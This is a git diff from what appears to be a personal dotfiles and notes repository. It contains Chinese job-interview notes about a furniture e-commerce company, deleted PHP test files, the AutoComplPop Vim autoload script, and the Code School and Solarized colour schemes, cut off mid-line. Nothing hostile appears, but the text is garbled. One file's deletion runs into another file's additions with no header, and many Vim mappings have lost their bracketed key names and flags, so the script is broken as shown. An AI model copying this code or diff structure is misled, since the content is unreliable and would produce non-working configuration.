boss直聘 +* 脉脉 + +### 问题汇总 +* 家具行业垂直门户,正在起步 +* 内部培训,有人带,每周有技术分享会 +* 入职后会有业务逻辑培训,周末下午茶 + +### 团队结构 +* 产品+交互团队:6人 +* 系统分析师:2人 +* 视觉:2人 +* 开发:8人 +* 前端: 2人 +* 测试:2人 +* 运维:1人 + +### 开发流程 +* 敏捷开发,高交付,多迭代 +* 开发环境:所有php开发人员均使用ubuntu系统,svn作为内部开发人的版本控制,测试驱动开发模式,公司代码库github +* 使用的CI框架开发; +* 内部完善的wiki; + +### 系统范围 +* 外部: + + 蓝景商城: www.ljlj.cc + + 蓝景云平台:www.ljyun.com +* 内部: + + ERP业务管理系统 + + 财务管理系统 + + 下单平台 + +###福利待遇 +* 公司无加班,双休,扁平化管理; +* 13薪~14薪 = 基本工资+学历工资; +* 五险一金 + +### 培训机构 +* 达内 +* php兄弟连 +* 传智博客 diff --git a/test.php b/test.php deleted file mode 100644 index e61ef7b9..00000000 --- a/test.php +++ /dev/null @@ -1 +0,0 @@ -aa diff --git a/test3.php b/test3.php deleted file mode 100644 index 8469d839..00000000 --- a/test3.php +++ /dev/null @@ -1,2 +0,0 @@ - i i=feedPopup() + nnoremap a a=feedPopup() + nnoremap R R=feedPopup() +endfunction + +" +function acp#disable() + call s:unmapForMappingDriven() + augroup AcpGlobalAutoCommand + autocmd! + augroup END + nnoremap i | nunmap i + nnoremap a | nunmap a + nnoremap R | nunmap R +endfunction + +" +function acp#lock() + let s:lockCount += 1 +endfunction + +" +function acp#unlock() + let s:lockCount -= 1 + if s:lockCount < 0 + let s:lockCount = 0 + throw "AutoComplPop: not locked" + endif +endfunction + +" +function acp#meetsForSnipmate(context) + if g:acp_behaviorSnipmateLength < 0 + return 0 + endif + let matches = matchlist(a:context, '\(^\|\s\|\<\)\(\u\{' . + \ g:acp_behaviorSnipmateLength . ',}\)$') + return !empty(matches) && !empty(s:getMatchingSnipItems(matches[2])) +endfunction + +" +function acp#meetsForKeyword(context) + if g:acp_behaviorKeywordLength < 0 + return 0 + endif + let matches = matchlist(a:context, '\(\k\{' . g:acp_behaviorKeywordLength . ',}\)$') + if empty(matches) + return 0 + endif + for ignore in g:acp_behaviorKeywordIgnores + if stridx(ignore, matches[1]) == 0 + return 0 + endif + endfor + return 1 +endfunction + +" +function acp#meetsForFile(context) + if g:acp_behaviorFileLength < 0 + return 0 + endif + if has('win32') || has('win64') + let separator = '[/\\]' + else + let separator = '\/' + endif + if a:context !~ '\f' . separator . '\f\{' . g:acp_behaviorFileLength . ',}$' + return 0 + endif + return a:context !~ '[*/\\][/\\]\f*$\|[^[:print:]]\f*$' +endfunction + +" +function acp#meetsForRubyOmni(context) + if !has('ruby') + return 0 + endif + if g:acp_behaviorRubyOmniMethodLength >= 0 && + \ a:context =~ '[^. \t]\(\.\|::\)\k\{' . + \ g:acp_behaviorRubyOmniMethodLength . ',}$' + return 1 + endif + if g:acp_behaviorRubyOmniSymbolLength >= 0 && + \ a:context =~ '\(^\|[^:]\):\k\{' . + \ g:acp_behaviorRubyOmniSymbolLength . ',}$' + return 1 + endif + return 0 +endfunction + +" +function acp#meetsForPythonOmni(context) + return has('python') && g:acp_behaviorPythonOmniLength >= 0 && + \ a:context =~ '\k\.\k\{' . g:acp_behaviorPythonOmniLength . ',}$' +endfunction + +" +function acp#meetsForPerlOmni(context) + return g:acp_behaviorPerlOmniLength >= 0 && + \ a:context =~ '\w->\k\{' . g:acp_behaviorPerlOmniLength . ',}$' +endfunction + +" +function acp#meetsForXmlOmni(context) + return g:acp_behaviorXmlOmniLength >= 0 && + \ a:context =~ '\(<\|<\/\|<[^>]\+ \|<[^>]\+=\"\)\k\{' . + \ g:acp_behaviorXmlOmniLength . ',}$' +endfunction + +" +function acp#meetsForHtmlOmni(context) + return g:acp_behaviorHtmlOmniLength >= 0 && + \ a:context =~ '\(<\|<\/\|<[^>]\+ \|<[^>]\+=\"\)\k\{' . + \ g:acp_behaviorHtmlOmniLength . ',}$' +endfunction + +" +function acp#meetsForCssOmni(context) + if g:acp_behaviorCssOmniPropertyLength >= 0 && + \ a:context =~ '\(^\s\|[;{]\)\s*\k\{' . + \ g:acp_behaviorCssOmniPropertyLength . ',}$' + return 1 + endif + if g:acp_behaviorCssOmniValueLength >= 0 && + \ a:context =~ '[:@!]\s*\k\{' . + \ g:acp_behaviorCssOmniValueLength . ',}$' + return 1 + endif + return 0 +endfunction + +" +function acp#completeSnipmate(findstart, base) + if a:findstart + let s:posSnipmateCompletion = len(matchstr(s:getCurrentText(), '.*\U')) + return s:posSnipmateCompletion + endif + let lenBase = len(a:base) + let items = filter(GetSnipsInCurrentScope(), + \ 'strpart(v:key, 0, lenBase) ==? a:base') + return map(sort(items(items)), 's:makeSnipmateItem(v:val[0], v:val[1])') +endfunction + +" +function acp#onPopupCloseSnipmate() + let word = s:getCurrentText()[s:posSnipmateCompletion :] + for trigger in keys(GetSnipsInCurrentScope()) + if word ==# trigger + call feedkeys("\=TriggerSnippet()\", "n") + return 0 + endif + endfor + return 1 +endfunction + +" +function acp#onPopupPost() + " to clear = expression on command-line + echo '' + if pumvisible() + inoremap acp#onBs() + inoremap acp#onBs() + " a command to restore to original text and select the first match + return (s:behavsCurrent[s:iBehavs].command =~# "\" ? "\\" + \ : "\\") + endif + let s:iBehavs += 1 + if len(s:behavsCurrent) > s:iBehavs + call s:setCompletefunc() + return printf("\%s\=acp#onPopupPost()\", + \ s:behavsCurrent[s:iBehavs].command) + else + let s:lastUncompletable = { + \ 'word': s:getCurrentWord(), + \ 'commands': map(copy(s:behavsCurrent), 'v:val.command')[1:], + \ } + call s:finishPopup(0) + return "\" + endif +endfunction + +" +function acp#onBs() + " using "matchstr" and not "strpart" in order to handle multi-byte + " characters + if call(s:behavsCurrent[s:iBehavs].meets, + \ [matchstr(s:getCurrentText(), '.*\ze.')]) + return "\" + endif + return "\\" +endfunction + +" }}}1 +"============================================================================= +" LOCAL FUNCTIONS: {{{1 + +" +function s:mapForMappingDriven() + call s:unmapForMappingDriven() + let s:keysMappingDriven = [ + \ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', + \ 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', + \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', + \ 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + \ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', + \ '-', '_', '~', '^', '.', ',', ':', '!', '#', '=', '%', '$', '@', '<', '>', '/', '\', + \ '', '', '', ] + for key in s:keysMappingDriven + execute printf('inoremap %s %s=feedPopup()', + \ key, key) + endfor +endfunction + +" +function s:unmapForMappingDriven() + if !exists('s:keysMappingDriven') + return + endif + for key in s:keysMappingDriven + execute 'iunmap ' . key + endfor + let s:keysMappingDriven = [] +endfunction + +" +function s:setTempOption(group, name, value) + call extend(s:tempOptionSet[a:group], { a:name : eval('&' . a:name) }, 'keep') + execute printf('let &%s = a:value', a:name) +endfunction + +" +function s:restoreTempOptions(group) + for [name, value] in items(s:tempOptionSet[a:group]) + execute printf('let &%s = value', name) + endfor + let s:tempOptionSet[a:group] = {} +endfunction + +" +function s:getCurrentWord() + return matchstr(s:getCurrentText(), '\k*$') +endfunction + +" +function s:getCurrentText() + return strpart(getline('.'), 0, col('.') - 1) +endfunction + +" +function s:getPostText() + return strpart(getline('.'), col('.') - 1) +endfunction + +" +function s:isModifiedSinceLastCall() + if exists('s:posLast') + let posPrev = s:posLast + let nLinesPrev = s:nLinesLast + let textPrev = s:textLast + endif + let s:posLast = getpos('.') + let s:nLinesLast = line('$') + let s:textLast = getline('.') + if !exists('posPrev') + return 1 + elseif posPrev[1] != s:posLast[1] || nLinesPrev != s:nLinesLast + return (posPrev[1] - s:posLast[1] == nLinesPrev - s:nLinesLast) + elseif textPrev ==# s:textLast + return 0 + elseif posPrev[2] > s:posLast[2] + return 1 + elseif has('gui_running') && has('multi_byte') + " NOTE: auto-popup causes a strange behavior when IME/XIM is working + return posPrev[2] + 1 == s:posLast[2] + endif + return posPrev[2] != s:posLast[2] +endfunction + +" +function s:makeCurrentBehaviorSet() + let modified = s:isModifiedSinceLastCall() + if exists('s:behavsCurrent[s:iBehavs].repeat') && s:behavsCurrent[s:iBehavs].repeat + let behavs = [ s:behavsCurrent[s:iBehavs] ] + elseif exists('s:behavsCurrent[s:iBehavs]') + return [] + elseif modified + let behavs = copy(exists('g:acp_behavior[&filetype]') + \ ? g:acp_behavior[&filetype] + \ : g:acp_behavior['*']) + else + return [] + endif + let text = s:getCurrentText() + call filter(behavs, 'call(v:val.meets, [text])') + let s:iBehavs = 0 + if exists('s:lastUncompletable') && + \ stridx(s:getCurrentWord(), s:lastUncompletable.word) == 0 && + \ map(copy(behavs), 'v:val.command') ==# s:lastUncompletable.commands + let behavs = [] + else + unlet! s:lastUncompletable + endif + return behavs +endfunction + +" +function s:feedPopup() + " NOTE: CursorMovedI is not triggered while the popup menu is visible. And + " it will be triggered when popup menu is disappeared. + if s:lockCount > 0 || pumvisible() || &paste + return '' + endif + if exists('s:behavsCurrent[s:iBehavs].onPopupClose') + if !call(s:behavsCurrent[s:iBehavs].onPopupClose, []) + call s:finishPopup(1) + return '' + endif + endif + let s:behavsCurrent = s:makeCurrentBehaviorSet() + if empty(s:behavsCurrent) + call s:finishPopup(1) + return '' + endif + " In case of dividing words by symbols (e.g. "for(int", "ab==cd") while a + " popup menu is visible, another popup is not available unless input + " or try popup once. So first completion is duplicated. + call insert(s:behavsCurrent, s:behavsCurrent[s:iBehavs]) + call s:setTempOption(s:GROUP0, 'spell', 0) + call s:setTempOption(s:GROUP0, 'completeopt', 'menuone' . (g:acp_completeoptPreview ? ',preview' : '')) + call s:setTempOption(s:GROUP0, 'complete', g:acp_completeOption) + call s:setTempOption(s:GROUP0, 'ignorecase', g:acp_ignorecaseOption) + " NOTE: With CursorMovedI driven, Set 'lazyredraw' to avoid flickering. + " With Mapping driven, set 'nolazyredraw' to make a popup menu visible. + call s:setTempOption(s:GROUP0, 'lazyredraw', !g:acp_mappingDriven) + " NOTE: 'textwidth' must be restored after . + call s:setTempOption(s:GROUP1, 'textwidth', 0) + call s:setCompletefunc() + call feedkeys(s:behavsCurrent[s:iBehavs].command . "\=acp#onPopupPost()\", 'n') + return '' " this function is called by = +endfunction + +" +function s:finishPopup(fGroup1) + inoremap | iunmap + inoremap | iunmap + let s:behavsCurrent = [] + call s:restoreTempOptions(s:GROUP0) + if a:fGroup1 + call s:restoreTempOptions(s:GROUP1) + endif +endfunction + +" +function s:setCompletefunc() + if exists('s:behavsCurrent[s:iBehavs].completefunc') + call s:setTempOption(0, 'completefunc', s:behavsCurrent[s:iBehavs].completefunc) + endif +endfunction + +" +function s:makeSnipmateItem(key, snip) + if type(a:snip) == type([]) + let descriptions = map(copy(a:snip), 'v:val[0]') + let snipFormatted = '[MULTI] ' . join(descriptions, ', ') + else + let snipFormatted = substitute(a:snip, '\(\n\|\s\)\+', ' ', 'g') + endif + return { + \ 'word': a:key, + \ 'menu': strpart(snipFormatted, 0, 80), + \ } +endfunction + +" +function s:getMatchingSnipItems(base) + let key = a:base . "\n" + if !exists('s:snipItems[key]') + let s:snipItems[key] = items(GetSnipsInCurrentScope()) + call filter(s:snipItems[key], 'strpart(v:val[0], 0, len(a:base)) ==? a:base') + call map(s:snipItems[key], 's:makeSnipmateItem(v:val[0], v:val[1])') + endif + return s:snipItems[key] +endfunction + +" }}}1 +"============================================================================= +" INITIALIZATION {{{1 + +let s:GROUP0 = 0 +let s:GROUP1 = 1 +let s:lockCount = 0 +let s:behavsCurrent = [] +let s:iBehavs = 0 +let s:tempOptionSet = [{}, {}] +let s:snipItems = {} + +" }}}1 +"============================================================================= +" vim: set fdm=marker: diff --git a/vim/.vim/colors/codeschool.vim b/vim/.vim/colors/codeschool.vim new file mode 100755 index 00000000..4de8a1b9 --- /dev/null +++ b/vim/.vim/colors/codeschool.vim @@ -0,0 +1,108 @@ +" Vim color file +" Converted from my Textmate Code School theme using Coloration +" http://astonj.com + +set background=dark +highlight clear + +if exists("syntax_on") + syntax reset +endif + +"let g:colors_name = "Code School 3" + +hi Cursor ctermfg=16 ctermbg=145 cterm=NONE guifg=#182227 guibg=#9ea7a6 gui=NONE +hi Visual ctermfg=NONE ctermbg=59 cterm=NONE guifg=NONE guibg=#3f4b52 gui=NONE +hi CursorLine ctermfg=NONE ctermbg=23 cterm=NONE guifg=NONE guibg=#2e373b gui=NONE +hi CursorColumn ctermfg=NONE ctermbg=23 cterm=NONE guifg=NONE guibg=#2e373b gui=NONE +hi ColorColumn ctermfg=NONE ctermbg=23 cterm=NONE guifg=NONE guibg=#2e373b gui=NONE +hi LineNr ctermfg=102 ctermbg=23 cterm=NONE guifg=#84898c guibg=#2a343a gui=NONE +hi VertSplit ctermfg=59 ctermbg=59 cterm=NONE guifg=#252c31 guibg=#252c31 gui=NONE +hi MatchParen ctermfg=180 ctermbg=NONE cterm=underline guifg=#dda790 guibg=NONE gui=underline +hi StatusLine ctermfg=231 ctermbg=59 cterm=bold guifg=#f0f0f0 guibg=#575e61 gui=bold +hi StatusLineNC ctermfg=231 ctermbg=59 cterm=NONE guifg=#f0f0f0 guibg=#575e61 gui=NONE +hi Pmenu ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi PmenuSel ctermfg=NONE ctermbg=59 cterm=NONE guifg=NONE guibg=#3f4b52 gui=NONE +hi IncSearch ctermfg=16 ctermbg=107 cterm=NONE guifg=#182227 guibg=#8bb664 gui=NONE +hi Search ctermfg=NONE ctermbg=NONE cterm=underline guifg=NONE guibg=NONE gui=underline +hi Directory ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Folded ctermfg=247 ctermbg=16 cterm=NONE guifg=#9a9a9a guibg=#182227 gui=NONE + +hi Normal ctermfg=231 ctermbg=16 cterm=NONE guifg=#f0f0f0 guibg=#252c31 gui=NONE +hi Boolean ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Character ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Comment ctermfg=247 ctermbg=NONE cterm=NONE guifg=#9a9a9a guibg=NONE gui=italic +hi Conditional ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi Constant ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Define ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi DiffAdd ctermfg=231 ctermbg=64 cterm=bold guifg=#f0f0f0 guibg=#43820d gui=bold +hi DiffDelete ctermfg=88 ctermbg=NONE cterm=NONE guifg=#880708 guibg=NONE gui=NONE +hi DiffChange ctermfg=231 ctermbg=23 cterm=NONE guifg=#f0f0f0 guibg=#1c3657 gui=NONE +hi DiffText ctermfg=231 ctermbg=24 cterm=bold guifg=#f0f0f0 guibg=#204a87 gui=bold +hi ErrorMsg ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE +hi WarningMsg ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE +hi Float ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Function ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi Identifier ctermfg=113 ctermbg=NONE cterm=NONE guifg=#99cf50 guibg=NONE gui=NONE +hi Keyword ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi Label ctermfg=107 ctermbg=NONE cterm=NONE guifg=#8bb664 guibg=NONE gui=NONE +hi NonText ctermfg=59 ctermbg=17 cterm=NONE guifg=#414e58 guibg=#232c31 gui=NONE +hi Number ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi Operator ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi PreProc ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi Special ctermfg=231 ctermbg=NONE cterm=NONE guifg=#f0f0f0 guibg=NONE gui=NONE +hi SpecialKey ctermfg=59 ctermbg=23 cterm=NONE guifg=#414e58 guibg=#252c31 gui=NONE +hi Statement ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi StorageClass ctermfg=113 ctermbg=NONE cterm=NONE guifg=#99cf50 guibg=NONE gui=NONE +hi String ctermfg=107 ctermbg=NONE cterm=NONE guifg=#8bb664 guibg=NONE gui=NONE +hi Tag ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi Title ctermfg=231 ctermbg=NONE cterm=bold guifg=#f0f0f0 guibg=NONE gui=bold +hi Todo ctermfg=247 ctermbg=NONE cterm=inverse,bold guifg=#9a9a9a guibg=NONE gui=inverse,bold,italic +hi Type ctermfg=153 ctermbg=NONE cterm=NONE guifg=#b5d8f6 guibg=NONE gui=NONE +hi Underlined ctermfg=NONE ctermbg=NONE cterm=underline guifg=NONE guibg=NONE gui=underline +hi rubyClass ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi rubyFunction ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi rubyInterpolationDelimiter ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE +hi rubySymbol ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi rubyConstant ctermfg=146 ctermbg=NONE cterm=NONE guifg=#bfabcb guibg=NONE gui=NONE +hi rubyStringDelimiter ctermfg=107 ctermbg=NONE cterm=NONE guifg=#8bb664 guibg=NONE gui=NONE +hi rubyBlockParameter ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi rubyInstanceVariable ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi rubyInclude ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi rubyGlobalVariable ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi rubyRegexp ctermfg=179 ctermbg=NONE cterm=NONE guifg=#e9c062 guibg=NONE gui=NONE +hi rubyRegexpDelimiter ctermfg=179 ctermbg=NONE cterm=NONE guifg=#e9c062 guibg=NONE gui=NONE +hi rubyEscape ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi rubyControl ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi rubyClassVariable ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi rubyOperator ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi rubyException ctermfg=180 ctermbg=NONE cterm=NONE guifg=#dda790 guibg=NONE gui=NONE +hi rubyPseudoVariable ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi rubyRailsUserClass ctermfg=146 ctermbg=NONE cterm=NONE guifg=#bfabcb guibg=NONE gui=NONE +hi rubyRailsARAssociationMethod ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi rubyRailsARMethod ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi rubyRailsRenderMethod ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi rubyRailsMethod ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi erubyDelimiter ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE +hi erubyComment ctermfg=247 ctermbg=NONE cterm=NONE guifg=#9a9a9a guibg=NONE gui=italic +hi erubyRailsMethod ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi htmlTag ctermfg=111 ctermbg=NONE cterm=NONE guifg=#89bdff guibg=NONE gui=NONE +hi htmlEndTag ctermfg=111 ctermbg=NONE cterm=NONE guifg=#89bdff guibg=NONE gui=NONE +hi htmlTagName ctermfg=111 ctermbg=NONE cterm=NONE guifg=#89bdff guibg=NONE gui=NONE +hi htmlArg ctermfg=111 ctermbg=NONE cterm=NONE guifg=#89bdff guibg=NONE gui=NONE +hi htmlSpecialChar ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi javaScriptFunction ctermfg=113 ctermbg=NONE cterm=NONE guifg=#99cf50 guibg=NONE gui=NONE +hi javaScriptRailsFunction ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi javaScriptBraces ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE +hi yamlKey ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi yamlAnchor ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi yamlAlias ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi yamlDocumentHeader ctermfg=107 ctermbg=NONE cterm=NONE guifg=#8bb664 guibg=NONE gui=NONE +hi cssURL ctermfg=74 ctermbg=NONE cterm=NONE guifg=#68a9eb guibg=NONE gui=NONE +hi cssFunctionName ctermfg=186 ctermbg=NONE cterm=NONE guifg=#dad085 guibg=NONE gui=NONE +hi cssColor ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi cssPseudoClassId ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi cssClassName ctermfg=153 ctermbg=NONE cterm=NONE guifg=#bcdbff guibg=NONE gui=NONE +hi cssValueLength ctermfg=68 ctermbg=NONE cterm=NONE guifg=#3c98d9 guibg=NONE gui=NONE +hi cssCommonAttr ctermfg=151 ctermbg=NONE cterm=NONE guifg=#a7cfa3 guibg=NONE gui=NONE +hi cssBraces ctermfg=NONE ctermbg=NONE cterm=NONE guifg=NONE guibg=NONE gui=NONE diff --git a/vim/.vim/colors/solarized.vim b/vim/.vim/colors/solarized.vim new file mode 100644 index 00000000..70f52238 --- /dev/null +++ b/vim/.vim/colors/solarized.vim @@ -0,0 +1,1117 @@ +" Name: Solarized vim colorscheme +" Author: Ethan Schoonover +" URL: http://ethanschoonover.com/solarized +" (see this url for latest release & screenshots) +" License: OSI approved MIT license (see end of this file) +" Created: In the middle of the night +" Modified: 2011 May 05 +" +" Usage "{{{ +" +" --------------------------------------------------------------------- +" ABOUT: +" --------------------------------------------------------------------- +" Solarized is a carefully designed selective contrast colorscheme with dual +" light and dark modes that runs in both GUI, 256 and 16 color modes. +" +" See the homepage above for screenshots and details. +" +" --------------------------------------------------------------------- +" OPTIONS: +" --------------------------------------------------------------------- +" See the "solarized.txt" help file included with this colorscheme (in the +" "doc" subdirectory) for information on options, usage, the Toggle Background +" function and more. If you have already installed Solarized, this is available +" from the Solarized menu and command line as ":help solarized" +" +" --------------------------------------------------------------------- +" INSTALLATION: +" --------------------------------------------------------------------- +" Two options for installation: manual or pathogen +" +" MANUAL INSTALLATION OPTION: +" --------------------------------------------------------------------- +" +" 1. Download the solarized distribution (available on the homepage above) +" and unarchive the file. +" 2. Move `solarized.vim` to your `.vim/colors` directory. +" 3. Move each of the files in each subdirectories to the corresponding .vim +" subdirectory (e.g. autoload/togglebg.vim goes into your .vim/autoload +" directory as .vim/autoload/togglebg.vim). +" +" RECOMMENDED PATHOGEN INSTALLATION OPTION: +" --------------------------------------------------------------------- +" +" 1. Download and install Tim Pope's Pathogen from: +" https://github.com/tpope/vim-pathogen +" +" 2. Next, move or clone the `vim-colors-solarized` directory so that it is +" a subdirectory of the `.vim/bundle` directory. +" +" a. **clone with git:** +" +" $ cd ~/.vim/bundle +" $ git clone git://github.com/altercation/vim-colors-solarized.git +" +" b. **or move manually into the pathogen bundle directory:** +" In the parent directory of vim-colors-solarized: +" +" $ mv vim-colors-solarized ~/.vim/bundle/ +" +" MODIFY VIMRC: +" +" After either Option 1 or Option 2 above, put the following two lines in your +" .vimrc: +" +" syntax enable +" set background=dark +" colorscheme solarized +" +" or, for the light background mode of Solarized: +" +" syntax enable +" set background=light +" colorscheme solarized +" +" I like to have a different background in GUI and terminal modes, so I can use +" the following if-then. However, I find vim's background autodetection to be +" pretty good and, at least with MacVim, I can leave this background value +" assignment out entirely and get the same results. +" +" if has('gui_running') +" set background=light +" else +" set background=dark +" endif +" +" See the Solarized homepage at http://ethanschoonover.com/solarized for +" screenshots which will help you select either the light or dark background. +" +" --------------------------------------------------------------------- +" COLOR VALUES +" --------------------------------------------------------------------- +" Download palettes and files from: http://ethanschoonover.com/solarized +" +" L\*a\*b values are canonical (White D65, Reference D50), other values are +" matched in sRGB space. +" +" SOLARIZED HEX 16/8 TERMCOL XTERM/HEX L*A*B sRGB HSB +" --------- ------- ---- ------- ----------- ---------- ----------- ----------- +" base03 #002b36 8/4 brblack 234 #1c1c1c 15 -12 -12 0 43 54 193 100 21 +" base02 #073642 0/4 black 235 #262626 20 -12 -12 7 54 66 192 90 26 +" base01 #586e75 10/7 brgreen 240 #4e4e4e 45 -07 -07 88 110 117 194 25 46 +" base00 #657b83 11/7 bryellow 241 #585858 50 -07 -07 101 123 131 195 23 51 +" base0 #839496 12/6 brblue 244 #808080 60 -06 -03 131 148 150 186 13 59 +" base1 #93a1a1 14/4 brcyan 245 #8a8a8a 65 -05 -02 147 161 161 180 9 63 +" base2 #eee8d5 7/7 white 254 #d7d7af 92 -00 10 238 232 213 44 11 93 +" base3 #fdf6e3 15/7 brwhite 230 #ffffd7 97 00 10 253 246 227 44 10 99 +" yellow #b58900 3/3 yellow 136 #af8700 60 10 65 181 137 0 45 100 71 +" orange #cb4b16 9/3 brred 166 #d75f00 50 50 55 203 75 22 18 89 80 +" red #dc322f 1/1 red 160 #d70000 50 65 45 220 50 47 1 79 86 +" magenta #d33682 5/5 magenta 125 #af005f 50 65 -05 211 54 130 331 74 83 +" violet #6c71c4 13/5 brmagenta 61 #5f5faf 50 15 -45 108 113 196 237 45 77 +" blue #268bd2 4/4 blue 33 #0087ff 55 -10 -45 38 139 210 205 82 82 +" cyan #2aa198 6/6 cyan 37 #00afaf 60 -35 -05 42 161 152 175 74 63 +" green #859900 2/2 green 64 #5f8700 60 -20 65 133 153 0 68 100 60 +" +" --------------------------------------------------------------------- +" COLORSCHEME HACKING +" --------------------------------------------------------------------- +" +" Useful commands for testing colorschemes: +" :source $VIMRUNTIME/syntax/hitest.vim +" :help highlight-groups +" :help cterm-colors +" :help group-name +" +" Useful links for developing colorschemes: +" http://www.vim.org/scripts/script.php?script_id=2937 +" http://vimcasts.org/episodes/creating-colorschemes-for-vim/ +" http://www.frexx.de/xterm-256-notes/" +" +" }}} +" Environment Specific Overrides "{{{ +" Allow or disallow certain features based on current terminal emulator or +" environment. + +" Terminals that support italics +let s:terms_italic=[ + \"rxvt", + \"gnome-terminal" + \] +" For reference only, terminals are known to be incomptible. +" Terminals that are in neither list need to be tested. +let s:terms_noitalic=[ + \"iTerm.app", + \"Apple_Terminal" + \] +if has("gui_running") + let s:terminal_italic=1 " TODO: could refactor to not require this at all +else + let s:terminal_italic=0 " terminals will be guilty until proven compatible + for term in s:terms_italic + if $TERM_PROGRAM =~ term + let s:terminal_italic=1 + endif + endfor +endif + +" }}} +" Default option values"{{{ +" --------------------------------------------------------------------- +" s:options_list is used to autogenerate a list of all non-default options +" using "call SolarizedOptions()" or with the "Generate .vimrc commands" +" Solarized menu option. See the "Menus" section below for the function itself. +let s:options_list=[ + \'" this block of commands has been autogenerated by solarized.vim and', + \'" includes the current, non-default Solarized option values.', + \'" To use, place these commands in your .vimrc file (replacing any', + \'" existing colorscheme commands). See also ":help solarized"', + \'', + \'" ------------------------------------------------------------------', + \'" Solarized Colorscheme Config', + \'" ------------------------------------------------------------------', + \] +let s:colorscheme_list=[ + \'syntax enable', + \'set background='.&background, + \'colorscheme solarized', + \] +let s:defaults_list=[ + \'" ------------------------------------------------------------------', + \'', + \'" The following items are available options, but do not need to be', + \'" included in your .vimrc as they are currently set to their defaults.', + \'' + \] +let s:lazycat_list=[ + \'" lazy method of appending this onto your .vimrc ":w! >> ~/.vimrc"', + \'" ------------------------------------------------------------------', + \] + +function! s:SetOption(name,default) + if type(a:default) == type(0) + let l:wrap='' + let l:ewrap='' + else + let l:wrap='"' + let l:ewrap='\"' + endif + if !exists("g:solarized_".a:name) || g:solarized_{a:name}==a:default + exe 'let g:solarized_'.a:name.'='.l:wrap.a:default.l:wrap.'"' + exe 'call add(s:defaults_list, "\" let g:solarized_'.a:name.'='.l:ewrap.g:solarized_{a:name}.l:ewrap.'")' + else + exe 'call add(s:options_list, "let g:solarized_'.a:name.'='.l:ewrap.g:solarized_{a:name}.l:ewrap.' \"default value is '.a:default.'")' + endif +endfunction + +if ($TERM_PROGRAM ==? "apple_terminal" && &t_Co < 256) + let s:solarized_termtrans_default = 1 +else + let s:solarized_termtrans_default = 0 +endif +call 